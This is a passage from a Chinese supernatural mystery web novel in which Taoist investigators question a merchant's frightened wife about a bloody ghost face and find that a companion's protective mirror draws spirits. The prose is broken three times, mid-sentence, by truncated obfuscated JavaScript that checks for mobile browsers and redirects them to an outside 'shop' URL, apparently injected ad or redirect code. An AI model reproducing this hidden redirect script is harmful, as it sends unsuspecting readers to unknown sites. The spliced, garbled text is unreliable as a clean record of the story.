李管事显是巴不得离开此地,领了命,踉跄着出了屋子,不一会儿便来复命,道郎君有请。 西厢房里外两间,以门帘相隔。 外间是个琴室,墙角龙泉瓷的三足香炉里燃着清雅幽远的沉水,屋子中间摆着张古色古香的琴桌,似文士的书斋一般素雅简净,几乎没什么装饰,与富丽堂皇的正房截然不同。 整间屋子里最醒目的要属素壁上挂着的那张桐木琴了。 梁夜的目光落到琴上,不经意似地道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627087|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好琴。” 李管事立刻:“仙师好眼力。” 梁夜道:“这式样不常见,可是伶官式?” 就在这时,门帘一动,一个青衣婢女端着半碗药汤走出来。 那婢女五短身材,生着张不起眼的圆脸,只有一双大大的杏眼还算水灵。 见到海潮和梁夜,她愣怔了一下,眼中现出畏怯,犹如受了惊的鹌鹑,慌乱地低下头,向他们福了福,便要离去。 李管事叫住她:“浣月,娘子这张琴,是什么式?” 婢女声如蚊蚋:“是伶官式。” 说着福了一福,嗫嚅道:“奴再替娘子煎些安神汤……”说罢便匆匆地从他们身旁走了过去。 “老奴倒是不懂什么式,”李管事道,“不是和仙师夸口,这张琴比这整间屋子都贵重,当年足足花了五千贯。” 海潮一听这琴的天价,不禁咋舌:“就一张琴,五千贯?” 她觑了眼梁夜,只见他仍旧一脸云淡风轻,只是若有所思地望着那张琴。 真是见过世面了,哪怕不记得三年来的经历,到底沉稳淡定了不少,不像自己小地方来的没见识,才会少见多怪,她酸溜溜地想。 李管事微有得色:“娘子雅好操琴,郎君当年天南海北的搜罗名琴,银钱流水似地花出去,这一张是郎君与娘子的定亲之物,也是娘子最爱的一张。听说是前朝柳惜音柳大家的爱物,价高就不说了,郎君还亲自登门去求,不知跑了几趟,才说服前主人割爱,真是精诚所至,金石为开。” 海潮听他喋喋不休,有些不耐烦,问道:“刚才那姑娘是谁?脸色好像不太好,不要紧吧?” 李管事道:“那是浣月,跟着娘子陪嫁来的,她本来胆子就小,今夜又是她值夜,可不吓坏了。” 正说着,又有一人搴帘走出来。 这回是苏廷远。 不过一会儿功夫,他的脸上多了些疲惫,便显出些许老态来,不再像个年方冠龄的小郎君了。 “仙师可有什么发现?”苏廷远作了个揖,问梁夜。 “有几句话想请教尊夫人。” 话音未落,内室里传来一道女子的声音,出谷黄莺般娇柔,带着点惊惶不安的颤音:“郎君……郎君你在哪里?为何去了那么久?” 苏廷远闻声忙对着帘子里道:“我就在此处,即刻就来。” 那声音带了明显的哭腔:“郎君,妾好怕,你莫要抛下妾……” 苏廷远又安慰了几句,转头苦笑着对梁夜和海潮道:“两位切莫见怪,拙荆着实吓得不轻,方才服了仙师的灵丹睡了一会儿,不想还是睡不安稳,不多时便醒了,醒来仍是哭泣不止……” 他面露难色:“拙荆本就体弱,眼下更添惊惧惶惑,恐怕不便见客,可否待天明……” 梁夜向正房的方向看了一眼:“贫道等得,却不知那鬼物是否等得。” 苏廷远脸色微变。 梁夜语气放缓:“贫道只略问几句,当面看看尊夫人情况,若是为邪气纠缠,恐怕会有不测。” 苏廷远不再推脱,只道:“拙荆惊魂未定,离不了在下片刻。道长问话时,在下可否在一旁陪着?” 梁夜颔首:“可以。” 苏廷远:“两位稍待片刻,容拙荆整理衣衫。” 说罢他走进内室,免不得又是一通安抚,半晌之后,门帘中方才传出苏廷远的声音:“两位仙师请进。” 梁夜和海潮两人走进房间,只见内室烛火昏暗,一个身穿菖蒲紫色绫绢衫子的年轻女子与苏廷远紧挨着坐在榻上,苏廷远一手扶着她的肩头,轻轻拍抚着,像在哄一个受惊的孩子。 海潮一早便猜这夫人定是个美人,一见之下,还是吃了一惊。 若论五官容貌,夫人并不算多出众,她的美在韵味,在身姿,在态度。 因惊恐而含泪的眼眸,微红的眼尾和鼻尖,瓷白柔润的双颊,如烟似雾堆叠在脸侧的云鬓,乃至于纤柔的腰肢和秀巧的手腕,都是那样婉媚天成,只是在那儿娇弱无力地坐着,便似一株雨打后的白蔷薇。 只是纤细白皙的脖颈上有几道紫红的掐痕,像是一只狰狞的蜘蛛伏在她细腻的肌肤上,触目惊心。 海潮仔细一看,只见夫人双眼失神,鬓发有些许散乱,整个人轻轻颤栗,仿佛神魂还深陷噩梦醒不过来,也看不到他们。 然而连她的惊惶恐惧也是精雕细琢的,美得可堪入画。 半开的窗棂里吹进来的夜风,好像都变得轻软了。 连海潮也不由自主地放轻了呼吸。 她原本觉得陆琬璎这大家闺秀娇怯怯、病恹恹,但和眼前的娘子一对比,陆姊姊简直硬朗得好似铁打成的一般。 夫人的目光逡巡着,好不容易聚到两人身上,像是突然发现两人存在,露出惊惶之色,紧紧抓着苏廷远的衣袖,受伤小兽一般,往他怀里缩了缩。 苏廷远拍拍她的背:“别怕,这两位是青云观的仙师,是来替我们捉妖驱邪的,有他们坐镇,那东西绝不敢再来扰你。” 夫人抬起头,泪眼婆娑地看着梁夜,似乎有些将信将疑。 梁夜道:“贫道只是问几句话,夫人如实回答便是,不必害怕。” 他眉宇间的倨傲冷淡不见了,连声气都轻柔不少。 海潮用眼角的余光瞟了他一眼,只见他一瞬不瞬地望着夫人,好像也被她惊人的美貌摄住了。 盯着人家夫人娘子看得眼珠子都不动了,真是臭不要脸!也不知道他那宰相千金有没有见过这副嘴脸。 海潮在心里骂了几声,别过脸去,来个眼不见为净。 夫人似乎安心了些,轻轻一低首:“有劳仙师。” 梁夜道:“今夜之事,请夫人原原本本讲述一遍。” 10. 噬人宅(六) 夫人缓缓道:“今夜起初和平日里没什么不同,用过晚膳,洗漱罢,郎君又陪妾打了两局双陆……” 她看了一眼苏廷远,嘴角现出一缕娇怯羞赧的笑意:“打完双陆,郎君去书斋理帐,妾也有些倦了,便叫婢女伺候睡下。 “妾睡眠一向不太安稳,夜里时常醒来,今夜睡到中宵,半梦半醒之际,忽然听见窸窸窣窣的声音。妾恍惚以为是在梦中,便未睁眼,过了片刻,忽觉身上一重,有什么东西落到了腹上……” 她蹙着秀眉,慢慢回忆:“接着,那东西慢慢蠕动着,开始往上爬……妾竭力想睁眼,可浑身上下一寸也动弹不得,越是着急,越是睁不开眼睛……” 像是回想起当时可怖的遭遇,她整个人止不住地颤栗起来,一时说不下去。 苏廷远忙将妻子搂在怀中,一下一下轻柔地抚着她的背,用哄孩子般轻柔的声音安慰道:“莫怕,阿青莫怕,都怪我不好,被那劳什子账册绊住了脚,没能整夜陪着你……” 夫人啜泣了一会儿,揩了揩眼泪,羞赧地垂下眼帘,对梁夜道:“仙师见谅……” 梁夜耐心十足,简直称得上体贴:“无妨,遇到这等事,惊慌失措是人之常情。夫人若感不适,可以随时停下来,待心境缓和后再继续说下去,不必着急。” 苏夫人缓了一阵,向梁夜赧然一笑:“多谢仙师体谅。妾没事了……那东西越爬越近,虽说妾睁不开眼,但能闻到它身上的血气,它呼出的阴寒腥臭的气息近在咫尺。妾想喊,可喊不出声音。就在这时,那东西突然掐住了妾的脖颈……” 她一边说着,一边用白皙如玉的手指轻轻抚着脖颈上触目惊心的红痕,眼底又泛起了泪光:“那会儿妾以为自己性命休矣,倒是生出了一些破釜沉舟的孤勇,兴许是因为胆气壮了,竭力一挣,忽的能动了,妾便拼了命扒开那东西的指爪,也顾不上自己摸到一手血,总算是喘过气来了……” 她摊开手,给他们看她的手指,只见她指甲缝里还残留着干涸的血迹。 “夫人可还记得,当时是什么时辰?”梁夜问。 夫人点点头:“大约是丑寅之交时。妾看了一眼床边的更漏。” “那鬼物是何模样?” “当时只顾着挣扎求生,也没注意那东西什么模样,待惊魂稍定,睁开眼一看,才发现眼前是一张血脸……”她心有余悸地打了个寒颤。 “什么样的血脸?”梁夜饶有兴味地问道,“是脸上沾了鲜血?” 苏夫人摇摇头:“整张脸全是血,全是血……大张着嘴,没有眼睛,眼眶是两个凹洞,它就那样瞪着妾……” 海潮纳闷道:“不是没有眼珠子么?怎么知道它在瞪着你?” 苏夫人像是直到这时方才意识到海潮的存在,抬起头看了她一眼。 那双顾盼生辉的眼睛里闪过一丝恼意,大约是不满自己的话被打断。 “我就是知道它在瞪着我……有时候人就是会有这样的感觉……小仙师可曾体会过?” 海潮想起卧房墙壁上的那张脸,想到那两个黑洞洞的眼窝,仿佛也在盯着自己看,不禁有些毛骨悚然。 梁夜道:“后来如何?” 夫人接着说:“妾吓得魂飞魄散,尖叫了一声,便不省人事了。” “如此说来,夫人并未看见那物离开?”梁夜问道。 夫人:“妾当时晕倒了,之后的事便一无所知了。” “当时房中只有夫人一人?” 夫人迟疑了一下,点点头:“后来听郎君说,值夜的婢女当时去了净房,恰好不在屋内。待她听见叫声赶来时,妾已晕了过去。” 梁夜又问:“夫人惊醒时,卧房中的陈设可有异样?” 夫人回想了一番,歉然道:“妾睁开眼只看见那东西,并未留意周遭是否有异样。” “除了一开始的窸窸窣窣声,夫人可曾听到其它响动?” “不曾。” 梁夜若有所思地点点头,注视着夫人的双眼,慢慢道:“夫人可曾猜测过,那鬼物是何来历?” 夫人脸上掠过一丝惊恐,随即慌忙摇头。 苏廷远道:“那鬼物的来历,连在下都不知道,拙荆一个深宅妇人,何从得知?仙师缘何有此一问?” 梁夜继续望着夫人:“那贫道换个问法,夫人可曾在别的地方看见过这张鬼脸?” 苏夫人低着头,紧紧揪着衣袖。 “比如镜中。” 夫人惊讶地睁大眼睛:“仙师如何知道?!” “贫道见夫人房中有妆台却无铜镜,便如此揣测。” “原来如此,”苏夫人浅浅一勾唇角,望着梁夜的眼睛,“仙师真是目光如炬。” 梁夜似有些不好意思,清了清嗓子:“夫人第一次在镜中见到鬼脸,是何时?” 苏夫人怯怯地看了夫君一眼。 苏廷远握了握她的手,点点头:“如实相告便可。” 苏夫人道:“是三四个月前开始的。有一日晨起梳妆,铜镜中隐约有张脸闪过,妾以为看花了眼,并未放在心上。可后来那张脸频频闪现,问身边的婢女,却都看不见。到后来,只要妾一照镜子,那张脸便出现在镜中……” 梁夜:“夫人是从何时开始抱恙的?” 苏夫人想了想:“妾本来身子骨就弱,不过自那时起便每况愈下,越发不行了……” 苏廷远疼惜与愤慨交加:“拙荆这病,根本就是被吓出来的!” 梁夜又问:“夫人在镜中看见的脸,是孩童还是成人?” 夫人:“看那骨相,应当是成人。” “能否分辨出男女?” 夫人摇摇头:“那张脸全是血,像剥了脸皮似的,分辨不出来。” “那物可曾开过口?” “不曾。” 梁夜话锋一转:“两位是哪年成婚的?” 夫人狐疑地看了看他,似乎不明白他为何有此一问。 苏廷远道:“在下与拙荆成婚已有五年了。” 梁夜道:“不曾想过要子嗣么?” 这话问得有些失礼,连海潮都吃了一惊。 夫人顿时涨红了脸,也不知是羞还是怒。 苏廷远显是有些尴尬:“这是在下与拙荆私事,不足与外人道。” 梁夜并未纠缠下去,换了个问题:“府上可曾有过夭折的孩童?” 苏廷远斩钉截铁:“自然没有。” 梁夜道:“尊夫人五年无所出,阁下不曾想过纳妾么?” 苏氏夫妇还没来得及生气,倒把海潮气得不轻。 好你个梁夜!把讨小老婆说得这么理所当然,自己心里八成也是这么想的吧! 苏廷远道:“拙荆现□□弱,待养好了身子自会为我生儿育女,何必急于一时。何况,在下只想要拙荆诞育的子嗣,其他女子的血脉于在下而言一文不值。” 这话海潮听着有些不舒服,难道疼爱自家娘子,就非要踩一脚其他女子么? 但夫人却很受用,含情脉脉地望着丈夫,几乎要感动得落下泪来:“郎君……是妾不中用……有负郎君厚爱……” 海潮听不下去:“你怎知是你不中用,听我们村…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627088|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她险些说漏嘴,忙改口:“听我们道观里的老师父说,夫妇俩生不出小娃娃,多的是男人不行。你怎知不是他的事?” 苏廷远一个八面玲珑的大商贾,脸上也差点挂不住,只能佯装咳嗽,掩饰尴尬。 夫人却一反方才的娇弱柔顺,脸瞬间冷下来,禁蹙秀眉,冷冷对海潮道:“孕育子嗣是妇人之事,分明就是妾的错,怎可诬陷郎君!这位小道长,请恕我冒昧,若是你再对郎君无礼,我只有送客了!” 海潮连生气都顾不上,只觉匪夷所思:“我明明是在帮你说话……” 夫人气得不轻,粉面涨得通红,捂着心口娇喘微微:“不劳……不劳仙姑操心,卑贱之身不足惜,诬蔑夫主便是侮辱我!” 海潮从未见过如此冥顽不灵的人,想出言反驳,奈何天生嘴笨,怒气上头就更是什么也说不出来。 梁夜抬手将她拦住,又对夫人道:“小师妹年纪小,口无遮拦,失礼之处,还请夫人见谅。” 海潮没想到他胳膊肘朝外拐,气得嘴唇直哆嗦,忍了忍,没忍住,推开他的手:“我……我去找陆姊姊!” 说罢不由分说一转身,大步向外面走去。 苏廷远道:“这位小仙师气性不小啊。” 梁夜望着海潮的背影消失在门口,收回眼神,淡淡道:“还有一事请教夫人。夫人可有什么仇家?” 苏夫人脸上闪过惊诧,虚弱地笑了笑:“妾不明白,道长是什么意思?” 梁夜缓缓说道:“那物在夫人床前地衣上写了‘血债血偿’四个字。” 他瞥了一眼苏廷远,又仔细端详夫人。 只见她脸上血色尽褪,恐惧溢于言表,他每说一个字,夫人便仿佛虚弱一分。 待他最后一个字说完,夫人颤抖不止,眼泪夺眶而出,仿佛再一次陷入了可怖的噩梦。 “阿青,阿青你没事吧?”苏廷远也失了镇定,顾不上有旁人在场,紧紧搂住妻子,“别怕,别怕,我在,有我在,不会有事的……” 苏夫人像是抓住了救命稻草,紧紧抓住苏廷远的袖子:“郎君,怎么办……她来了……” 苏廷远将她抱得更紧:“别胡说,这都是你胡思乱想罢了……” 夫人整张脸都埋进了苏廷远的胸膛上,可还是奋力挣扎着,状似癫狂:“她来了,苏郎,她还是不肯放过我……” “别说了!”苏廷远打断她,“这些都是你的臆想!阿青,你病了,你病了知道么?都是假的!” 他抬起头看向梁夜,眼中有了恼意:“在下早就说过拙荆不可受惊吓,仙师为何屡次以言语相激?” 夫人瑟缩在丈夫怀中,低低地啜泣。 梁夜道:“陆陆师妹粗通医理,可以替尊夫人看一看。” 苏廷远断然拒绝:“不必了。多谢道长好意。拙荆有人诊治,不劳令师妹。” 说罢向门外道:“浣月呢?叫浣月来伺候!” 片刻后,一个着青衣的身影低着头,匆匆走了进来。 梁夜向夫人道:“请尊夫人好好歇息,在下明日再来打扰。” 苏廷远道:“仙师慢走,请恕在下不能相送。” 刚走到门外,身后传来苏廷远压低的声音:“叫你在门外守着,方才去哪里了?” 梁夜的脚步一顿。 那婢女不知回了句什么,声音极低。 苏廷远又道:“仔细看顾好你家娘子,再出岔子谁也帮不了你!” 梁夜驻足片刻,直到房中除了夫人的啜泣声,再无别的声音传出,方才向程瀚麟所在的东轩走去。 11. 噬人宅(七) 海潮夺门而出,跑到廊庑上,叫沁凉的夜风一吹,火气渐渐褪下去。 梁夜已不是那个梁夜了,她凭什么还以为,他事事都该坚定地站在自己这边呢? 下次可不能这样了,她在心里告诫自己,这样只会让人瞧不起。 然而她想通了道理,闷在心里的那股委屈却无法诉说,漫上鼻根,漫进眼眶,弄得她眼睛鼻子都酸酸的。 她站在庭前吹了会儿冷风,心绪总算平复下来,吸了吸鼻子,往东轩走去。 东轩外只有个面生的小僮守门。海潮走进去,看见程瀚麟双目紧闭躺在榻上,一只手垂在榻边,整个人一动不动,脑门上插满银针,粗略一数总有十几根。 陆琬璎手里捏着根银针,紧抿双唇,身体前倾,看样子正要往程瀚麟头上扎。 海潮唬了一跳:“陆姊姊,他还活着吧?” 不等陆琬璎说话,程瀚麟睁开眼睛,晃了晃垂在榻边的手,奄奄一息道:“托海潮小师妹的鸿福,在下还能喘气……” 海潮松了一口气:“吓死我了,打眼一瞅还以为是个针垫子呢!” 陆琬璎的脸一下子涨得通红:“我第一次给人施针,又是在头上……怕找不准穴位,便多扎几针……让程公子受苦了,都怪我学艺不精……” 说着说着,她的头垂得越来越低,眼泪又在眼眶里打起了转。 程瀚麟忙道:“无妨无妨,在下皮糙肉厚,正适合给陆娘子练手。多亏了陆娘子医术高超,几针下来在下只觉神清气爽,心明眼亮,头脑都比从前清楚了不少。 只恨不能早些认识陆娘子,否则隔三岔五给在下扎几针,说不定早考上进士了,也省得老挨家父的笞杖。” 陆琬璎叫他逗得“扑哧”一笑,忙以袖掩口。 海潮道:“陆姊姊笑起来多好看啊,就该多笑笑。” 眼看着陆琬璎又羞窘起来,海潮转向程瀚麟:“对了,你刚才在那屋子里看见什么了,吓成这样?” 程瀚麟没心没肺的笑容僵在脸上,扭曲成一个欲哭无泪的表情:“在下一踏入那屋子便觉不舒服,心如擂鼓,喘不上气,后背发凉,隐隐觉得头顶有什么东西……” 说到此处,门帘被人掀开,微凉的夜风挟着淡淡的清苦气息吹进屋里。 海潮不用看也知道是谁来了。虽然已经想通,但要她做出若无其事的样子,却是做不到。 她走到一边榻上坐下,从袖中掏出一块碎布,擦起了桃木剑。 程瀚麟却仿佛找到了主心骨,腾地坐起身,整张脸都亮起来:“子明,你总算来了!可有眉目了?” 他一番眉飞色舞,几根针从脑门上掉了下来,陆琬璎默默地捡起来,擦干净了收回布囊里。 梁夜微微颔首。 海潮有些难以置信,他们只不过问了苏家夫妇几句话,怎么就有眉目了?她明明什么也没听出来啊。 程瀚麟的吹捧像海水倒灌一样奔涌而出,什么“洞若观火”、“聪明绝顶”、“算无遗策”…… 海潮恨不得捂住耳朵,这个程瀚麟,要是把奉承梁夜的功夫用来读书,说不定凭自己也能考上进士了。 “好了好了,”她道,“刚才话还说到一半呢,你到底在那房顶上看到了什么呀?” 程瀚麟这才收敛些:“那房顶上是格子平阴,平阴中间有彩绘,每一格中都绘着淡墨的纹样,在下起初只是纳闷,这苏府雕梁画栋的,怎么连个彩漆都省……可定睛一看,那些哪是花纹,分明是一张张人脸!” “会不会是你看错了?”海潮道,“后来我也往房顶上看了一眼,大晚上黑黢黢的一片,什么也看不见呀?” 程瀚麟连连摇头:“在下看得分明,那些确实是人脸,密密麻麻的,不知有几十几百张……它们……” 他小心翼翼地朝房顶上看了一眼:“它们还在动呢!” 说到这里,他不由自主地打了个哆嗦,显是心有余悸。 梁夜道:“怎么动?” 程瀚麟想了想:“像这样。” 他张开嘴,向前探头,扭动着脖子:“它们好像被禁锢在平阴里,很难过很痛苦……对,很痛苦……” 他说着说着,声音变得飘渺,两眼发直:“好痛,好难受……” “不好!”海潮看出他不对劲,连忙跑过去,抓住他的肩膀使劲摇晃,“程瀚麟,你清醒点!” 程瀚麟却睁大眼睛瞪着虚空,齿关格格作响,冷汗从额头上滚落下来,配着一脑门的银针,说不出的诡异。 他忽然将海潮猛地一推,骤然跃起,以迅雷不及掩耳之势冲向最近的柱子,抱着柱子便用额头往上撞,发出“砰”的一声巨响。 海潮只觉整栋房子都震了震,连忙冲过去把他拽住:“你不要命啦?!” 程瀚麟却对她的话充耳不闻,兀自挣扎着还要往柱子上撞。 好在梁夜及时挡在了他和柱子之间。 然而程瀚麟不知从哪里来的蛮力,疯狂地挣扎扭动着,两人合力都难以制服他。 梁夜道:“劈晕他。” 海潮深吸一口气,以手作刀,当机立断照着程瀚麟的后脖颈劈了下去。 程瀚麟发出一声野兽般的哀嚎,终于双膝一屈软软地倒了下去。 梁夜扶了他一把,将他平放在地上。 海潮回过神来,惊恐道:“不会被我劈死了吧?” 梁夜镇定地探了探程瀚麟的鼻息:“只是晕过去了。” 海潮这才长出了一口气,拍拍心口:“可把我吓死了!” 她以前没使过这一招,要是控制不好力道,把人劈死都是有的。 但是方才千钧一发之际,也只能出此下策。 程瀚麟人事不省地仰躺在地上,额头上红红一片肿起,已是撞出了血,要是不阻止他,非把脑袋撞碎不可。 海潮看向吓得魂不守舍的陆琬璎:“陆姊姊,有什么药么?” 陆琬璎这才醒过神来,连忙从案上的小包袱里翻出个青瓷瓶递给她:“这是安神的,方才给程公子服过一丸,似有些用处。” 海潮倒出一丸,正要塞进程瀚麟嘴里,梁夜接了过去:“我来。” 程瀚麟服完药,陆琬璎又往他脑袋上扎了几针,不一会儿,他发出一声虚弱的呻吟,缓缓睁开了眼睛。 他的眼神仍旧有些恍惚涣散,但显然是清醒的,海潮松了一口气:“总算是醒了!” 程瀚麟摸了摸红肿的额头,痛嘶了一声:“我这是怎么了?额头好疼,后颈更疼……” 海潮将方才发生的事说了一遍,蹭蹭鼻尖:“下手重了点……” 程瀚麟哽咽道:“多亏海潮妹妹果断,否则在下这条小命可就保不住了……” 海潮道:“方才你是怎么了?” 程瀚麟晃了晃脑袋,皱着眉道:“我只记得方才说着说着,头便开始疼起来,心里难受得紧,再后来便不记得了……” 梁夜若有所思道:“不知何故,你似乎特别容易受这些东西的影响。” 程瀚麟:“我的八字似乎是有些异样,小时候有个游方道士找上门,说我有道缘,若是留在俗世容易叫那些魑魅魍魉盯上,要收我当徒弟……叫我阿耶打了出去,他说那是个拐小孩的骗子,他还指望我考进士当官光宗耀祖呢……” 他顿了顿:“不过听我乳母说,小时候我撞了好几次邪,时不时生病,长大后倒是不那么容易病了,只是每回经过坟地或者古宅,心中总是若有所动,似有感应。 “我打小便对这些怪力乱神之事特别着迷,到处打听,搜罗传奇来看,任我阿耶怎么打骂都忍不住…… “对了,不是我夸口,我阿耶古董买卖做得风生水起,有一半得归功于我,不管仿得再像,我只要上手一摸,再用鼻子嗅一嗅气味,就知是不是真东西。” 海潮睁大了眼:“你竟有这样的本事,真是看不出来。” 程瀚麟摸摸后脑勺,咧嘴一笑:“人不可貌相吧?惭愧惭愧。不过自我记事起,从没见过鬼怪现形。” 他顿了顿:“就是知道自己这种体质,为了辟邪我还特地把那面八卦镜挂在胸口呢!” 梁夜蹙了蹙眉:“那面镜子给我看看。” 程瀚麟不明就里,不过还是乖乖地摘下了铜镜。 这铜镜上的文字也是鸟篆书。 梁夜端详了一番,对程瀚麟道:“你没发现铜镜背后的文字是反的么?” 程瀚麟大骇,拿过铜镜细细查看,口中喃喃:“难怪,难怪……不但文字是反的,先天八卦的顺序也反了。还有这里……” 他指着四方的模糊图案,神色越来越惊恐:“原本我还以为这些只是寻常神兽,只是因镜子古旧磨损而显得有些怪异罢了,眼下细细看来,这些根本就不是青龙白虎朱雀玄武……” 顿了顿:“其余几个我认不出,但这个龙虎足、蟒眉蛟目,这是小虞山鬼母啊!” “这镜子根本不是什么辟邪镜,分明是招邪镜!” 他越说越害怕,恨不得把手里的铜镜扔出去,仿佛那是块烧红的烙铁。 海潮有些好奇,从他手上拿过铜镜:“让我戴戴看。” “海潮妹妹不……” 不等程瀚麟把话说完,海潮已经把铜镜挂在了脖子上。 她左看看,右看看,半晌道:“看不见什么嘛。” 梁夜:“这是程公子的法器,应当认主,对别人而言只是块普通镜子。” 程瀚麟欲哭无泪:“这算哪门子法器……” “怎么不算,”海潮道,“你只要挂上镜子走一圈就知道鬼怪在不在,多方便!” 程瀚麟哭丧着脸:“海潮妹妹好狠的心!再方便两次,在下也成鬼了。” 海潮想起方才的情形也是心有余悸,点点头:“别说你,再来两回我们也遭不住。你不知道,刚才你的力气大得像牛一样,我们两个人都拦不住你……” 话说到一半,她忽然想起自己早已和梁夜划清界限,怎么又不自觉地和他“我们”起来了,一抬眼,刚好对上他明亮的双眼。 她懊恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627089|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己这记吃不记打的性子,面无表情地别过脸去。 梁夜向程瀚麟道:“这面镜子只能用在关键时,平日收藏妥当。你体质有异,随身备些清心祛邪的丹药。” 他顿了顿:“有一件事,要托你去办。” 程翰麟坐起身:“有什么我能做的,便是赴汤蹈火也在所不惜!子明尽管吩咐!” 梁夜如此这般地吩咐了一番。 海潮听得一头雾水,不知他葫芦里卖的什么药。 程瀚麟道:“子明放心,我一定将此事办妥。” 海潮有些放心不下他:“我陪你一起。” 梁夜道:“海潮与我一起走。” “凭什么?”海潮不服气。 程瀚麟立刻道:“子明的伤还未愈,海潮妹妹武艺高强,正好可以照应一二。” 海潮一挑眉毛:“我乐意照应你和陆姊姊,别人可和我没干系。” 梁夜不见丝毫愠色,温和地解释道:“我无需照应,不过有事要劳烦你。” 海潮仿佛一拳打在棉花上,又没法发作,只得不情不愿地跟着他走了出去。 两人走出院子,迎面遇见李管事。 “两位是要回房歇息?”李管事问,“要不要找个人给两位提灯照路?” 梁夜道不必。 李管事拱拱手:“那两位自便,老奴先去伺候郎君娘子了。” 梁夜等他走出两步,忽然叫住他:“你身后……” 李管事立即转过身:“老奴身后怎么了?” 梁夜道:“无事,许是我看错了。” 便即向海潮道:“我们走。” 李管事呆愣片刻,突然回过神,连忙追上去:“仙师,仙师留步,老奴怎么了?请仙师留步。” 梁夜微微蹙眉:“人各有命,妄加干涉有悖天道。看你自己的造化吧。” 说罢提着灯,头也不回地走了。 李管事站在原地不知如何是好,直到听见东厢房里苏廷远喊他,这才擦了擦脑门上的汗,赶紧奔了过去。 他小心翼翼地打起帘子闪进屋,只见烛火昏暗,帘帷低垂,屏风里没什么声息,女主人大约已经睡下了。 苏廷远张着腿坐在胡床上,两手撑着膝盖,一脸疲惫:“明日一早,去账房支几吊钱,打发那几个道士走。” 李管事正心不在焉地想着方才的事,冷不丁叫主人戳中心事,不由一惊:“这……这是为何?” 苏廷远道:“这些人自己找上门来,说是道士,却问东问西,打探别人家的私隐,不知安的什么心。” 李管事踌躇:“那姓梁的,看着倒不似江湖术士,看着像有几分真本事……” 苏廷远笑起来:“李管事主意正,看来我是使唤不动你了。也是,李管事在苏家伺候几十年,深得信任,劳苦功高,连我和玉儿都要叫你一声‘李叔’,怎么甘心受我一个小辈驱使呢……” 李管事忙道:“老奴糊涂了,郎君是老奴的主,老奴时刻不敢忘。” 苏廷远冷笑了一声:“李叔没忘就好。” 李管事:“明日一早老奴便遣走那些人。只是……这宅子里的怪事,放着不管也……” 苏廷远一哂:“又不是只有他们一伙道士,洞玄观来的人呢?不是叫你去请他么?” 李管事:“小吉本来是去请他的,那道长没应门,倒是惊动了那帮人……小吉年纪小不会办事,老奴已经教训过他了……” 苏廷远挥挥手:“不用替你那宝贝干儿子找补,我不耐烦听这些。” 李管事道:“老奴这就去请洞穴观的道长?” 苏廷远瞥了眼屏风内卧着一动不动的倩影,想了想道:“人来了又是一场折腾,等天明吧。” 他端起茶碗,将残茶一饮而尽,站起身:“我去书斋歇会儿,你着人在这门口守着,别再出什么幺蛾子。” 李管事看了眼屏风,里头的人大约睡得很沉,没有一丝声息。他不敢多说什么,弓着腰送主人出了门,安排好守门的仆役,正要回自己住处,忽然听见身后有人叫他。 他停下脚步,转身一看,原来是那姓程的青云观道士。 这小郎君弯眉笑眼,为人和善,不似那姓梁的道士高高在上,让人发怵。 李管事提了提灯,发现那程道士的额头上肿起一大片,吓了一跳:“哟,仙师这是怎么了?” 程道士哈哈一笑,没心没肺地道:“方才一不留神叫鬼上了身,撞了柱子。” 李管事这时候最听不得的就是“鬼”字,声音都虚了:“仙……仙师不害怕么?” “见怪不怪了,”程道士道,“我等修道之人,常跟魑魅魍魉打交道,难免有马失前蹄的时候,没什么大碍,倒是李管事……” 他说着说着,脸上宽和的笑意渐渐隐去,变得沉肃起来。 李管事见他这副欲言又止的样子,心头突突直跳:“仙师可是看出了什么?” 程道士摸了摸下颌:“李管事,请恕我直言,你是不是做过什么亏心事?” 12. 噬人宅(八) “老奴一个下人,本本分分地伺候主人,能做什么亏心事?”李管事使劲挤出个若无其事的笑容,可嘴唇却不受控制地哆嗦起来。 程道士道:“比如害过什么人,或者亏待过什么人,尤其是已死之人。” “自然是没有,”李管事不等他说完,便道,“老奴胆子没有针尖大,连只鸡都不敢杀,哪里敢害人,仙师莫要拿老奴取乐……” 程道士摇头叹气:“贫道看你印堂有鬼气萦绕,是夙怨纠缠,若不禳除,恐怕有性命之虞,这才多说了几句。” 他苦笑了一下:“难怪师弟总怪我滥做好人,多管闲事,平白给人背了因果,还未见得有人领情,罢了罢了……” 说着一甩袖子便要走。 李管事听到此处,哪里肯放他走,情急之下扯住他衣袖:“仙师等等……还请仙师搭救……” 程道士转头:“这么说,你确实做过亏心事了?” 